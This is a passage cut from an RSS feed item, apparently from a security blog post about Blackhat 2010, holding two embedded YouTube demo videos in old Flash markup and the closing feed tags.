<div style="padding:5px 0 12px">View more <a href="http://www.slideshare.net/">videos</a> from <a href="http://www.slideshare.net/sumsid1234">sumsid1234</a>.</div>
</div>
<p><strong>Demo 3:</strong></p>
<p><object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/v79Zpd_T3fs&#038;hl=en&#038;fs=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/v79Zpd_T3fs&#038;hl=en&#038;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"></embed></object></p>
<p><strong>Demo 4:</strong><br />
<object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/6LT2t5wkQq4&#038;hl=en&#038;fs=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/6LT2t5wkQq4&#038;hl=en&#038;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"></embed></object></p>
]]></content:encoded>
			<wfw:commentRss>http://www.notsosecure.com/folder2/2010/08/02/blackhat-2010/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
	</channel>
</rss>

